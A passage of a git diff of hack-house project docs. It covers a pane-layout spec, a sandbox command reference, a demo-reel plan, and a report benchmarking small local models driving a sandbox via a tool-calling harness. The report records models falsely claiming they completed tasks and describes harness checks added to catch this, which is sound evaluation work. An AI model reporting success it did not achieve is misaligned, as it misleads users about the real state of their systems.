pub fn rect_of(&self, body: Rect, pane: Pane, has_terminal: bool) -> Option<Rect>;
```
`ui.rs::body_areas` is now a thin wrapper that fans `regions` out into its
`{chat, roster, sbx}` rects, so `draw` and `pane_at` share one geometry.
`Zoom::Term`/`Zoom::Chat` short-circuit `regions` (one pane fills the body; the
other leaves are omitted).
## Resize semantics (keyboard)
A pane is selected via `F5` (cycle over `present_panes`) or mouse click
(`pane_at`). Then arrows resize the split that bounds it on the matching axis:
- `↑` / `↓` → the `VSplit` (chat/terminal height). Only meaningful with a
sandbox up and a non-roster pane selected — otherwise `NoAxisHere`.
- `←` / `→` → the `HSplit` (roster `right_cells`). Growing the roster widens it;
growing a left-column pane narrows it.
This makes *every* pane adjustable on both axes wherever such a split exists. If
none does (e.g. only Chat+Roster, press `↑`), emit a one-line hint instead of
silently doing nothing — fixes consequence (1).
```rust
pub fn resize_focused(&mut self, pane: Pane, dir: Dir, has_terminal: bool) -> Resize;
// Resize::Moved | ::NoAxisHere (caller turns the latter into a sys hint)
```
The step size is fixed in `layout.rs` (`PCT_STEP = 4`, `CELL_STEP = 2`), not a
caller-supplied `step`.
## PTY integration (the critical wrinkle)
Today `sbx_dims(term_w, term_h, pty_pct)` derives the PTY grid from the height
scalar and assumes **full width**. In the tree model the terminal can be any
rect, so the grid must come from the Terminal leaf's actual `Rect`:
As shipped it returns a concrete grid (falling back to the full body if no
Terminal leaf is laid out), rather than an `Option`:
```rust
fn sbx_grid(term_w: u16, term_h: u16, layout: &Layout) -> (u16, u16) {
let body = Rect { x: 0, y: 1, width: term_w, height: term_h.saturating_sub(4) };
let r = layout.rect_of(body, Pane::Terminal, true).unwrap_or(body);
(r.height.saturating_sub(2).max(1), r.width.saturating_sub(2).max(1))
}
```
Every existing `sbx_dims(...)` call site (run loop, the two `/sbx`
launch/restore command handlers) switches to `sbx_grid`, and `announced_dims =
None` still forces a re-sync after any resize — so the shared PTY rebroadcasts
new dims to the room exactly as before. **This now also lets terminal *width*
changes propagate** (any divider move sets `announced_dims = None`), which the
old height-only code couldn't express.
## Persistence (presets)
`/layout save|load|list|rm|reset` keep working; the on-disk TOML now serializes
the tree instead of two scalars (`layouts/<slug>.toml`). Old single-scalar
preset files are not migrated (presets are throwaway; `reset` rebuilds default).
`serde` derives on `Node`/`Zoom`/`Pane` handle (de)serialization (`Pane` gained
`Serialize, Deserialize` in `app.rs` for this).
## Out of scope (phase 5, optional, follow-up)
- **Mouse-drag dividers.** Not scaffolded yet — `regions` returns only leaves; a
follow-up adds a `Divider`/`hit_threshold` return and drag handling (hover
highlight, `dragging_split`). Keyboard resize is the phase-1..4 deliverable.
- Arbitrary user-created splits / moving a pane to a new position. The tree
supports it, but the UI only exposes the three named panes for now.
## Work plan
1. ✅ **layout.rs** — typed tree (`VSplit`/`HSplit`), default builder,
`regions`/`rect_of`, `resize_focused`, clamps, zoom, `describe`, serde,
presets. 11 unit tests (geometry sums to body, resize honors clamps, no-axis
case, serde round-trip, terminal/roster prune).
2. ✅ **ui.rs** — `body_areas` is now a thin wrapper over `regions`; `pane_at`
shares it; `edit_decor` marker on the focused pane.
3. ✅ **app.rs** — `sbx_grid` replaces `sbx_dims`; key handler resizes both axes
via `resize_focused` (+ hint on `NoAxisHere`); `cycle_focus` over
`present_panes`; F4 zoom + `announced_dims` re-sync unchanged.
4. ✅ **docs** — in-app `/help` LAYOUT cluster + README "Window layout" updated
to describe both-axis resize and the no-axis hint; this spec reconciled.
5. *(optional, not done)* mouse-drag dividers.
## Acceptance
- `cargo test` green; `cargo build` warning-free.
- No sandbox: selecting Chat and pressing `←/→` resizes vs. roster; `↑/↓` prints
the "no pane to trade height with — launch a sandbox" hint.
- Sandbox up: Chat/Terminal resize in **both** axes; roster width still works;
terminal width changes now re-sync the PTY grid to the room.
- `/layout save` + `/layout load` round-trips the new tree.
- F4 fullscreen + `Ctrl+R` reconnect re-announce unchanged.
docs/command-reference.md
-186
View File
@@ -1,186 +0,0 @@
# hack-house → Command Reference
> **Status:** Living reference · **Date:** 2026-06-07
> **Scope:** The full categorized list of in-room slash commands + keybindings,
> mirroring the `/help` popup (`hh/src/ui.rs::help_clusters`). This is the
> canonical text reference for the `/sbx <type> <option>` grammar, the container
> `gui` option, and the "did you mean" fuzzy-suggestion behaviour.
> **See also:** `spec-sandbox-distros-gui.md` (grammar + GUI spec),
> `spec-goose-harness.md`, `spec-virtualbox-sandbox.md`.
---
## 0. Grammar at a glance
```
/sbx <type> <option…>
```
The first token after `/sbx` selects the **backend** (`docker`, `podman`,
`multipass`, `local`, `vbox`); the rest are **options**. `vbox` is the exception
that takes extra options (a VM name / `new` / `gui`). The legacy
`/sbx launch <backend> …` form is still accepted as a transitional alias.
Keyword options (`gui`, `install`) are position-independent — they are filtered
out of the positionals, so they are never mistaken for the image name.
---
## 1. Virtual machines / sandboxes
| Command | What to expect |
|---|---|
| `/sbx docker [gui] [image] [install]` | Linux container, shared shell relayed to the room. Default image **`parrotsec/core`** (Parrot OS) + auto dev toolchain. `gui` → noVNC desktop (see §4). `install` → install Docker first if missing. |
| `/sbx podman [gui] [image] [install]` | Rootless/daemonless container — **no sudo modal**. Default image **`kalilinux/kali-rolling`** (Kali). `gui` → noVNC desktop. `install` → install Podman first if missing. |
| `/sbx multipass [image] [install]` | Full Ubuntu VM (default `24.04`), shared shell relayed to the room. `install` → install Multipass first if missing. |
| `/sbx vbox` | VirtualBox VM picker — local GUI (↑↓ move · Enter/Tab boot · Esc dismiss). |
| `/sbx vbox new [name]` | Build a FRESH Ubuntu VM from a cloud image (cloud-init installs the dev toolchain). |
| `/sbx vbox [gui] <vm> [yes]` | Boot a VirtualBox VM's GUI on YOUR machine (non-host appends `yes` to install/import first). |
| `/sbx gui <vm> [yes]` | Alias of `/sbx vbox gui <vm> [yes]`. |
| `/sbx local` | A plain shell on your own machine — no VM. |
| `/sbx stop` | Tear down the running sandbox (purges the VM/container). |
### Save / load / list
| Command | What to expect |
|---|---|
| `/sbx save [label] [--local]` | Save docker/podman/multipass state. `--local` on a container also writes a portable `.tar`. |
| `/sbx load <label>` | Relaunch a saved docker/podman/multipass snapshot (auto-detects backend). |
| `/sbx snaps` | List saved docker/podman/multipass snapshots. |
| `/sbx vmsave <vm> [label] [--local]` | Save a VirtualBox VM snapshot. `--local` also exports a portable `.ova` to `/send`. |
| `/sbx vmload <vm> [label]` | Restore a VirtualBox snapshot + boot (omit label for the VM's current snapshot). |
| `/sbx vms` · `/sbx vmsnaps <vm>` | List local VirtualBox VMs · a VM's snapshots. |
| `/drive` · `F2` | Type into the shared shell (`F2` releases; `Esc` reaches vim). |
### Defaults
| Backend | Default image | Notes |
|---|---|---|
| Docker | `parrotsec/core` | swap `parrotsec/security` per-launch for full tools |
| Podman | `kalilinux/kali-rolling` | minimal; add `kali-linux-headless` for the toolset |
| Multipass | `24.04` | Ubuntu cloud release |
| Local | *(host shell)* | — |
Any image is overridable positionally: `/sbx podman parrotsec/security`,
`/sbx docker ubuntu:24.04`, etc.
---
## 2. AI agents
| Command | What to expect |
|---|---|
| `/ai start [model\|profile]` | Spawn an agent (ollama tag or `models.toml` profile). |
| `/ai start <model> allow` | Spawn + auto-grant the agent sandbox drive. |
| `/ai stop` | Dismiss the agent you started. |
| `/ai <question>` | Ask an agent in the room (`/ai <name> <q>` if many). |
| `/ai <name> !<task>` | Have a **granted** agent run a task in the sandbox (Goose harness). |
| `/ai list` | List AI agents present + their provider/model. |
| `/ai models` | Show models the active agent's backend can serve. |
---
## 3. Permissions (owner)
| Command | What to expect |
|---|---|
| `/grant <user\|agent>` | Let a member OR an AI agent drive the shell. |
| `/revoke <user\|agent>` | Take back sandbox drive permission. |
| `/sudo <user>` | Delegate VM superuser (real sudo). |
| `/unsudo <user>` | Revoke VM superuser. |
| `/ai start <name> allow` | Shortcut: grant the agent drive at spawn. |
---
## 4. Container GUI (noVNC)
Containers are headless, so `gui` runs an XFCE desktop + VNC server **inside**
the container and bridges it to your browser via noVNC.
- Invoke: `/sbx podman gui` or `/sbx docker gui`.
- Backend-specific: `gui` is honoured only for Docker/Podman; on headless/local
backends it is a flagged no-op.
- The noVNC port (`6080`) is published on **host loopback only**
(`127.0.0.1:6080`) — reachable from this machine's browser, never the LAN.
- Open `http://127.0.0.1:6080`. Default VNC password `hackhouse` (override with
`HH_SBX_GUI_PASS`).
- One GUI sandbox at a time per host (fixed port). Heavy first pull (a full
desktop) — strictly opt-in.
---
## 5. Files
| Command | What to expect |
|---|---|
| `/send <user> <path>` | Send a file/dir directly to one member. |
| `/sendroom <path>` | Offer a file/dir to the whole room. |
| `/accept` · `/reject` | Respond to an incoming file offer. |
---
## 6. Appearance
| Command | What to expect |
|---|---|
| `/theme [name]` | Switch vestment, or bare `/theme` lists options. |
| `/theme save [name]` | Keep the vestment you're wearing for reuse. |
| `Ctrl+Alt+P` · `/theme random` | Conjure a random vestment (palette + sigil). |
---
## 7. Layout (resize panes)
| Key / Command | What to expect |
|---|---|
| `F4` | Fullscreen the terminal (cycle: terminal → chat → split). |
| click a pane · `F5` | Select a pane to resize (✎ marks it) — `F5` cycles chat → terminal → roster → input. |
| `↑` / `↓` | Grow / shrink height. |
| `←` / `→` | Grow / shrink the selected pane's width. |
| `Esc` / `Enter` | Finish editing the selected pane. |
| `/layout reset` | Restore the default split. |
| `/layout save <name>` · `load <name>` | Remember an arrangement and re-apply it. |
| `/layout list` · `rm <name>` | List or delete saved layouts. |
---
## 8. Keys
| Key | What to expect |
|---|---|
| `Enter` | Send chat message. |
| `F1` · `/help` | Toggle the categorized help popup. |
| `Ctrl-C` (while driving) | Interrupt the running command. |
| `Ctrl-X` (owner, not driving) | Kill switch — revoke all drive + interrupt the shell. |
| `PgUp` / `PgDn` | Scroll chat · `Home`/`End` = oldest/live (scrolls sandbox scrollback while driving). |
| `Up` / `Down` · wheel | Scroll the sandbox terminal (mouse works while driving). |
| `Ctrl-R` (when closed) | Reconnect to the house after a drop / AFK. |
| `/pw` | Show this room's password (local only). |
| `/clear` | Wipe your chat scrollback (local only). |
| `Ctrl-C` · `Ctrl-Q` | Quit hack-house. |
---
## 9. Roster glyphs (badges stack)
| Glyph | Meaning |
|---|---|
| *(theme sigil)* host | Opened the house (first in the room). |
| ⚡ sudoer | VM superuser in the sandbox. |
| ◆ driver | May drive the shell. |
| • member | Present — no extra powers. |
---
## 10. "Did you mean…?" (typo help for new users)
Unrecognised slash input is caught instead of being silently sent as chat:
- A mistyped top-level command (e.g. `/halp`) → `unknown command ‘/halp’ — did
you mean \`/help\`? (/help lists all)`.
- A mistyped `/sbx` subcommand (e.g. `/sbx dcoker`) → `unknown \`/sbx dcoker\` —
did you mean \`/sbx docker\`?`.
- No close match → falls back to `… /help lists all commands`.
Matching uses Levenshtein edit distance (≤ 3 and shorter than the input), so
genuine free-text like `/ai <question>` (a known command) is never hijacked.
docs/demo-reels-plan.md
-173
View File
@@ -1,173 +0,0 @@
# hack-house → Demo Reels Plan (Instagram)
> **Status:** Draft v1 · **Date:** 2026-06-07
> **Scope:** Production plan + composed scripts for three Instagram Reels:
> (1) Podman **Kali** GUI, (2) Docker **Parrot** GUI, (3) **Goose** agent in the
> sandbox. Each follows the house framework: **what's covered → the demo →
> possibilities unlocked**. Save/load image is folded into the two GUI reels.
> **Infra:** `~/coding/video-toolkit` (`tmux-demo.py`, `screen-rec.sh`,
> `social-reframe.sh`, `video-forge`, `cast2mp4.sh`, `tg-send.sh`).
> **Frameworks applied (vault):** PAS hook, 3-second gate, 15–30s sweet spot,
> burn captions (sound-off), seamless loop, completion-first.
---
## 0. Status & prerequisites
| Item | State |
|---|---|
| `/sbx docker` → Parrot OS loads | ✅ verified (`Parrot Security 7.2 (echo)`) |
| Container noVNC GUI stack | ✅ verified end-to-end (HTTP 200 on `127.0.0.1:6080/vnc.html`) |
| `/sbx podman` engine | ⏳ installing (`sudo apt-get install -y podman`); rootless subuid/subgid already present |
| Demo scenarios composed | ✅ this doc (capture JSON to be written next) |
| Live X display for GUI browser capture | ⚠️ **required** for reels 1 & 2 (the desktop is a browser window) |
**Two capture tracks:**
- **Terminal track (headless, deterministic):** `tmux-demo.py` drives the hh TUI,
records the `/sbx …` command + save/load to an asciinema `.cast`. Works with no
display. Covers all of reel 3 and the TUI half of reels 1 & 2.
- **Browser track (needs live X):** `screen-rec.sh` x11grabs the noVNC desktop in
a browser (`http://127.0.0.1:6080`). This is the GUI *payoff* shot for reels 1 & 2.
The forge cut stitches: `title_card` (what's covered) → terminal clip → browser
clip → `result_card` (possibilities unlocked). Then `social-reframe.sh` → vertical
1080×1920, then `tg-send.sh` → Telegram (`andre`).
---
## 1. Reel 1 — Podman · Kali GUI + snapshot
**One-sentence promise:** Spin up a full **Kali desktop** in a shared, encrypted
room — rootless, no daemon, no sudo — and snapshot it like a save file.
**Length:** ~25s. **Backend:** `podman` (Kali default).
### Beat sheet
| t | Track | Beat (on-screen caption) |
|---|---|---|
| 0–3s | title | **HOOK (PAS):** "Your team shares one Kali box. No VMs. No root daemon." (pattern-interrupt: TUI glitch-in) |
| 3–6s | terminal | `/sbx podman gui` typed in the hh TUI → `summoning podman …` (caption: "one command") |
| 6–10s | terminal | status line: rootless, **no sudo modal**; noVNC URL surfaced (caption: "rootless · daemonless") |
| 10–17s | browser | noVNC desktop fades in — **Kali XFCE** in the browser; open a terminal, run `cat /etc/os-release` → Kali (caption: "a real Kali desktop, in your browser") |
| 17–22s | terminal | `/sbx save kali-lab` → `/sbx stop` → `/sbx load kali-lab` (caption: "snapshot → restore, like a save file") |
| 22–25s | result | **possibilities unlocked** (see card) |
### result_card — possibilities unlocked
```
headline: "what this unlocks"
stats:
["share", "1 Kali"]
["root", "none"]
["crypto", "fernet"]
["restore", "1 cmd"]
["GUI", "browser"]
```
Spoken/caption outro: "A shared Kali rig your whole crew drives — saved, restored,
end-to-end encrypted. † link in bio."
---
## 2. Reel 2 — Docker · Parrot GUI + snapshot
**One-sentence promise:** Boot a **Parrot OS security desktop** the whole room can
see and drive, then snapshot it to a portable image.
**Length:** ~25s. **Backend:** `docker` (Parrot default).
### Beat sheet
| t | Track | Beat (caption) |
|---|---|---|
| 0–3s | title | **HOOK:** "Parrot OS. Full desktop. In a chat room." (bold claim, frame-1 motion) |
| 3–7s | terminal | `/sbx docker gui` → `summoning docker …` → noVNC URL (caption: "one line") |
| 7–14s | browser | Parrot XFCE desktop in the browser; `/etc/os-release` → Parrot Security 7.2 (caption: "the real Parrot toolset") |
| 14–20s | terminal | `/sbx save parrot-lab --local` → writes portable `.tar`; `/sbx load parrot-lab` (caption: "save the whole rig to one file") |
| 20–25s | result | possibilities unlocked |
### result_card — possibilities unlocked
```
headline: "what this unlocks"
stats:
["distro", "Parrot"]
["desktop", "noVNC"]
["bind mt", "none"]
["export", ".tar"]
["bind", "loopbk"]
```
Outro: "A portable Parrot desktop you can hand to a teammate as a single file —
no host mounts, loopback-only. †"
---
## 3. Reel 3 — Goose agent in the sandbox
**One-sentence promise:** Give an AI agent a task and watch it run **inside** the
sandbox — contained, granted, output streamed to chat.
**Length:** ~28s. **Backend:** any container (use `podman`/Kali). Terminal-only —
fully headless-capturable.
### Beat sheet
| t | Track | Beat (caption) |
|---|---|---|
| 0–3s | title | **HOOK (curiosity):** "What if your AI agent could only touch the sandbox — and nothing else?" |
| 3–7s | terminal | `/sbx podman` (container up) → `/ai start qwen2.5:3b` (caption: "spawn a local agent") |
| 7–11s | terminal | `/ai <q>` ungranted → it **advises only**, never touches the box (caption: "no grant = chat only") |
| 11–16s | terminal | owner `/grant <agent>` (caption: "grant the drive") |
| 16–24s | terminal | `/ai <name> !<task>` → Goose runs the task **in the container**, stdout streams to chat (caption: "Goose, contained in the sandbox") |
| 24–28s | result | possibilities unlocked |
### result_card — possibilities unlocked
```
headline: "what this unlocks"
stats:
["harness", "Goose"]
["reach", "sandbox"]
["host fs", "none"]
["gate", "/grant"]
["model", "local"]
```
Outro: "An autonomous agent whose blast radius is one container — gated by a single
grant, running a local model. †"
---
## 4. Production pipeline (commands)
Per reel:
```bash
cd ~/coding/video-toolkit
# 1. Terminal track (headless) — drives the hh TUI, records the /sbx + save/load
bin/tmux-demo.py run scenarios/hh-<reel>.json --no-render # iterate until asserts pass
bin/tmux-demo.py run scenarios/hh-<reel>.json # → output/hh-<reel>.cast/.mp4
# sharp render override:
bin/cast2mp4.sh output/hh-<reel>.cast output/hh-<reel>-term.mp4 --font-size 28 --theme dracula
# 2. Browser track (live X display) — GUI reels only
# open http://127.0.0.1:6080 in a browser, position it, then:
GEOM=1280x800 OFF=100,100 bin/screen-rec.sh output/hh-<reel>-gui.mp4 12
# 3. Forge cut: title (covered) → terminal → [browser] → result (unlocked)
cd tools/video-forge
/home/dell/anaconda3/bin/python3 forge.py validate ../../scenarios/hh-<reel>-cut.json
/home/dell/anaconda3/bin/python3 forge.py render ../../scenarios/hh-<reel>-cut.json \
-o ../../output/hh-<reel>-cut.mp4
# 4. Vertical reframe + ship
cd ~/coding/video-toolkit
bin/social-reframe.sh output/hh-<reel>-cut.mp4 --out output/hh-<reel>-reel.mp4 --size 1080x1920
bin/tg-send.sh output/hh-<reel>-reel.mp4 andre "hack-house — <reel> †"
```
### Gotchas (from prior demo work)
- Forge **`video` scenes: OMIT `duration`** (never `"auto"` — the renderer crashes); it plays the full clip. Use style `technical` (no 3s `social` clamp).
- `result_card` stat **values ≤ ~8 chars** or columns overflow (hence `loopbk`, `1 Kali`).
- Render the `.cast` with `--font-size 28` for sharpness; default 16 looks low-res.
- Trim the trailing `[exited]` black tail with `ffmpeg -t <N>` so it ends on a UI frame.
- Container teardown on `/sbx stop` + on client quit (Ctrl-Q) means each capture
cold-pulls unless the image is already local — pre-pull `kalilinux/kali-rolling`
and `parrotsec/core` before filming so the summon lands within the step waits.
- The GUI noVNC stack is a heavy first apt install (~150MB desktop). Pre-warm the
container once (so the bootstrap sentinel is set) before the take, or budget a
long step wait; otherwise the desktop isn't ready when the browser shot rolls.
docs/demo-save-load-poc.md
+1 -1
View File
@@ -41,7 +41,7 @@ the chat provider is Ollama and a `qwen2.5-coder` is present (it is — pulled).
→ agent drives the shared shell; `fib.py` is written and executed; the
sandbox pane shows the Fibonacci output.
5. **Freeze it** — alice: `/sbx save buildbox` →
`† saved sandbox → image hh-snap:buildbox · reload with /sbx load buildbox`.
`⛧ saved sandbox → image hh-snap:buildbox · reload with /sbx load buildbox`.
6. **Walk away** — alice: `/sbx stop` (or quits the client entirely). Container is
purged; prove it: `docker ps -a` shows no `hack-house`, but
`docker images hh-snap` still lists `buildbox`.
docs/findings-native-harness-2026-06-10.md
-306
View File
@@ -1,306 +0,0 @@
# Native harness — live command-entry findings + nudge-loop design
**Date:** 2026-06-10
**Context:** Evaluating the `native` tool-calling harness (`cmd_chat/agent/bridge.py`,
`_run_native`) on its ability to drive shell commands into the shared podman/Kali
sandbox, on a CPU-only box (no GPU). Two prior fixes were live-validated here and
committed in `a0aa14d`: §3 PTY-sentinel (`_run_shell_in_pty`) and `NATIVE_CONTEXT=4`.
## Test setup
- Fresh room, podman sandbox (`hack-house` container), `/grant ai` drive.
- Models compared: `qwen2.5:3b` (1.9 GB, prior default) and `qwen2.5-coder:7b`
(4.7 GB, pulled for this test). `deepseek-r1:latest` and `westenfelder/NL2SH`
were ruled out — both **reject Ollama's `tools` field** (`HTTP 400 "does not
support tools"`), so they degrade to the simple injector and can't exercise the
native loop.
- Each task verified against **ground truth** (podman exec into the container),
not just the chat/PTY surface.
## Results: qwen2.5:3b vs qwen2.5-coder:7b
| Behaviour | qwen2.5:3b | qwen2.5-coder:7b |
|---|---|---|
| Single command (`whoami`) | PASS | PASS |
| write+run (`hello.sh` date+hostname) | PASS, accurate summary | PASS |
| **Multi-step** (mkdir→write→list) | **FAIL** — stalled after step 1 ("ok, let's proceed to the next step") | PASS — chained make_dir→write→read, completed |
| **Recover from mid-task error** | FAIL — gives up | INCONSISTENT — recovered from `[unknown tool make_dir]`, but on `greet.sh` skipped chmod, hit exit 126, then **stopped** |
| Tool-schema discipline | clean | hallucinated a `make_dir` tool (not in schema) — wasted a turn (`[unknown tool make_dir]`, bridge.py:597) |
| Final summary quality | vague ("I will proceed…") | empty → `(done)` fallback, or raw advice text |
| Latency (CPU, no GPU) | ~20–40 s/task | ~2–4× slower, 30–90 s/turn |
### Failure modes observed (both sizes)
1. **Early termination on multi-step** (3B dominant): the model emits filler text
with no tool call mid-task; the loop reads "text + no tool call = done" and stops.
The remaining steps never run.
2. **Give-up on unresolved non-zero exit** (both sizes): after a failing command
(exit 126/127), the model emits a summary/advice instead of fixing the cause.
greet.sh left at mode 644 (never chmod'd) despite the task saying "make it
executable".
3. **Tool hallucination** (7B): invented `make_dir`; the schema only has
run_shell/write_file/read_file.
### Root cause in code
`_run_native`, bridge.py:739–741:
```python
if not calls:
final = (text or "").strip()
break # ANY text-without-toolcall ends the task
```
NATIVE_SYSTEM (line 111–113) *also* tells the model to signal completion this exact
way. So one signal — "text, no tool call" — is overloaded to mean BOTH "done" and
"stalling/thinking". Disambiguating it is the fix.
**Takeaway:** a bigger model buys multi-step persistence (the 3B's main flaw) but
does NOT eliminate the give-up-on-error mode, and costs heavy latency. A nudge loop
that keys off **exit codes** (not just filler text) earns its keep at both sizes.
## Research: how Goose & opencode structure loop termination
(Source read directly from clones; key files cited.)
- **Goose** (`crates/goose/src/agents/agent.rs`): tracks `no_tools_called`
(line 1801). When true it does NOT just stop (lines 2232–2316) — in
structured/goal modes it injects a continuation nudge
(`FINAL_OUTPUT_CONTINUATION_MESSAGE` = "You MUST call the final_output tool
NOW…") and loops. Completion is an **explicit terminal tool**
(`recipe__final_output`, `final_output_tool.rs`). Vanilla chat with no
recipe/goal does fall through to text-as-done, but every structured path
overrides that. Bounded by `max_turns`.
- **opencode** (`packages/opencode/src/session/prompt.ts:1156–1183`): exits only
when finish is a real stop reason **AND** it independently re-derives that there
are no pending tool calls from the parsed message parts — comment: *"Some
providers return 'stop' even when the assistant message contains tool calls."*
Hard step cap (`maxSteps`) with a wind-down message (`MAX_STEPS`,
`prompt/max-steps.txt`); structured mode forces `toolChoice: "required"`.
- **Canonical / Cline-Roo**: weak-model harnesses favour an explicit completion
action (`attempt_completion`/`submit`) over trusting "empty tool_calls = done".
- **Recommendation from research:** go structural, not filler-heuristic ("a losing
arms race"); nudge on text-without-completion; a hard cap is the only
unconditional exit; derive "did a tool get called" from parsed parts, not
`finish_reason` (qwen on CPU is unreliable there — it leaks tool calls as
`<tool_call>` text in `content`; already handled by
`OllamaProvider._extract_text_tool_calls`).
## Design: dynamic nudge loop (output-aware, structural terminator)
Structural termination via a **`DONE:` text sentinel** rather than a 4th tool.
Divergence from the research's "add a done tool", justified for THIS model:
qwen-on-CPU already mis-emits structured tool calls (leaks as `<tool_call>` text;
the 7B even hallucinated `make_dir`). A 4th tool invites the same malformation and
competes for attention; a `DONE:` prefix disambiguates the existing text channel at
zero schema cost. This is opencode's "require an explicit marker, don't trust the
implicit stop", applied to the text channel.
Changes in `_run_native` (bridge.py):
1. **NATIVE_SYSTEM** (line 111–113): replace "reply with a summary and DO NOT call
a tool" with → *"When and ONLY when the task is fully done, reply with one line
starting `DONE:` and a one-sentence result. Otherwise you MUST call a tool."*
2. **Track loop state:** `did_action` (any tool ran), `last_rc` (parse the `exit=`
already formatted by `_run_shell_in_pty`), `nudges=0`.
3. **Replace the bare `break` (739–741) with a verdict gate:**
- text starts with `DONE:` → **done** (fast path, no nudge)
- `last_rc` ∉ {0, None} and no `DONE:` → **stalled** (unresolved error)
- no `did_action` → **stalled** (pure talk)
- filler regex (`let's proceed`, `next step`, `i will`, trailing colon) and no
`DONE:` → **stalled**
- else (substantive text, action happened, no error) → **accept as done** — the
single heuristic, on the SAFE side, so finished tasks aren't nudged every time
(protects CPU latency, the cost a pure-structural form would incur here).
4. **On `stalled`:** append an output-aware, Goose-style nudge and `continue`,
bounded by `MAX_NUDGES = 2` (separate from the productive `max_turns` so real
multi-step work isn't starved):
> *[if last_rc≠0:]* "The last command exited {rc} (failure) — fix that first
> (e.g. `chmod +x` before running a script)." + "You haven't signalled
> completion. If `{task}` is fully done reply `DONE: …`; otherwise call the next
> tool now — act, don't describe."
5. **Wind-down:** on the final turn, inject "reply `DONE:` with your result now"
(opencode's `MAX_STEPS` pattern).
6. **Keep** `_extract_text_tool_calls` (already present) — opencode's "derive tool
calls from parsed parts, not finish_reason" lesson, which this model needs.
Fixes mapped to observed failures: 3B early-stall → nudged to continue; give-up on
error (both sizes) → nudged with the exit-code-aware message; over-nudging finished
tasks → avoided by the `DONE:` fast path + safe-side accept.
## Live validation (qwen2.5:3b, post-implementation)
Ran the two prior failure cases against the freshly-built loop; ground truth via
`podman exec hack-house`.
- **Multi-step (`mkdir proj3 → write notes.txt → list`): PASS — fixed.** Previously
stalled after step 1; now chained write_file → `ls -1 proj3` to completion.
Ground truth: `proj3/notes.txt` exists, contents `hello world`. The 3B's dominant
failure mode is resolved by the loop alone (no model upgrade needed).
- **Nudge fires on non-zero exit: confirmed.** On the `greet.sh` case the PTY mirror
showed `▸ (nudge: finish the task or reply DONE:)` after a 126, i.e. the
output-aware re-prompt triggered structurally as designed.
- **Give-up-on-error is model-bound, not loop-bound.** The 3B still can't *recover*
the greet.sh task even when nudged: across runs it wrote self-referential content
(`echo "Hello, world!" > greet.sh`), its `chmod +x` didn't stick (file left 644),
and in one run it leaked a bare `write_file proj3/greet.sh …` tool call **as
summary text** (not the `<tool_call>` JSON form `_extract_text_tool_calls`
handles). These are 3B capability limits, consistent with the 3B-vs-7B table —
the loop's job is to detect and report them honestly, not to make a weak model
competent.
### Honesty hardening added after live test
The weak 3B routinely *claims* success it didn't achieve ("written, made executable,
and run successfully" after a 126; "Created greet.sh… ran it" with nothing on disk).
Echoing that prose as the final summary is actively misleading, so the nudge-budget
exhaustion path no longer trusts it blindly:
- never ran a tool → `[stopped — model described the task but never ran a tool]`
- left a non-zero exit → `[stopped — last command exited {rc}; task likely
incomplete] …`
- clean, action-backed turn → the model's summary (unchanged).
Offline unit coverage: 23 assertions on `_completion_verdict` / `_parse_exit` /
`_strip_done` / `_nudge_message`, all pass.
## Benchmark suite + first baseline (`bench/`)
To compare harness/model changes **systematically** instead of eyeballing one-off
runs, added a ground-truth-graded benchmark: `bench/tasks.py` (a 4-category ×
easy/medium/hard matrix — shell, code, git, multi) and `bench/run.py` (drives the
live TUI via tmux, grades each task by a `podman exec` verify snippet, exit 0 ==
PASS). Tasks run in the agent's real cwd (`/root`) with bare filenames; pinning an
absolute path instead just measured the weak model's absolute-path discipline and
drowned out every other signal.
**Runner gotcha (cost real time):** the TUI is a full-screen (alt-screen) app, so
`tmux capture-pane -S` does NOT yield chat history — only the current viewport.
The first detector diffed a `@user` reply count and hung once old replies scrolled
out of view. Fixed by keying completion off the **`is thinking…` footer** (engage →
sustained-absence), which is viewport-independent.
**Prompt-fairness fix (found via the benchmark):** "…in your home directory" made
literal-minded models create a `home/` subdir (`/root/home/a/b/c/marker.txt`) or use
`~/who.txt`; dropped the phrase — bare filenames land in the agent's cwd (`/root`).
### Baselines — four local CPU models (all tool-capable; fixed prompts)
Every candidate was probed first: `qwen2.5(-coder)` at 0.5b/1.5b/3b/7b all accept
Ollama's `tools` field; `deepseek-r1` and `westenfelder/NL2SH` reject it (HTTP 400 →
degrade to the simple harness, useless for the native loop), `llava` is vision-only.
One run each, shared room, CPU-only box:
| model | size | PASS | avg / median s | passed |
|---|---|---|---|---|
| qwen2.5:0.5b | 397 MB | 1/12 | 55 / 49 | shell-hard |
| qwen2.5-coder:1.5b | 986 MB | 1/12 | 67 / 53 | shell-medium |
| **qwen2.5:3b** | 1.9 GB | 1/12 | **51 / 46** | code-easy |
| qwen2.5-coder:7b | 4.7 GB | 2/12 | 141 / 106 | shell-easy, multi-easy |
**Takeaways.** All four cluster at **1–2/12 with high variance** (which task passes
flips run-to-run) — none reliably drives multi-step sandbox tasks in a shared room.
The **7B doubles nothing**: same pass band at ~3× the latency, so it is not worth it
on this CPU box. **qwen2.5:3b is the sweet spot** (best speed, no worse quality) and
stays the default. The low absolute scores are inflated downward by self-contamination
(each task's `NATIVE_CONTEXT=4` window pulls the previous task's command/summary) — a
real deployment effect, but it means the suite's job is *relative* regression
detection, not an absolute capability grade.
Dominant failure modes the summaries exposed, and where they point next:
| failure mode | example | harness-addressable? |
|---|---|---|
| bare tool-call-as-text | `write_file ./who.txt`, `mkdir proj`, `git clone …` (esp. 0.5b — nearly every turn) | **yes** — extend `_extract_text_tool_calls` beyond `<tool_call>` JSON |
| `<native>` / `<tools>` tag leak in summary | `<native> Cloned repository…`, `<tools>` | yes — strip the tag |
| path hallucination | `/home/qwen253b/conf_count.txt`, `~/` unexpanded | partly (model) |
| content fabrication | wrote literal `dell` instead of running whoami | no (model capability) |
The first row was hypothesised as the top priority — a pure harness parse gap. The
benchmark now exists to prove whether fixing it moves the number.
### Parser fix — what the benchmark actually proved (2026-06-10)
Generalised `OllamaProvider._extract_text_tool_calls` to recover a tool-call JSON
object regardless of wrapper — qwen's `<tool_call>` tags, bare JSON, ```json fences,
alternate tags (`<tools>`, `<function_call>`), OpenAI `{"function":{…}}` nesting, and
`parameters`-vs-`arguments`. Gated on the known tool-name set (derived from the
`tools` schema) so a stray JSON blob in prose — or a hallucinated `make_dir` — can
never be coerced into an action. 11-case unit check: 8 leak shapes recover, 3
negatives (prose / unknown tool / random config JSON) ignored.
**Result: it does NOT move the weak-model pass rate.** Three 3b passes went 2 / 1 / 0
of 12 (prior baseline 1/12 — pure noise); two 0.5b passes went 0 / 0 (prior 1/12).
A direct `/api/chat` probe of 0.5b shows *why* — the hypothesis was wrong about the
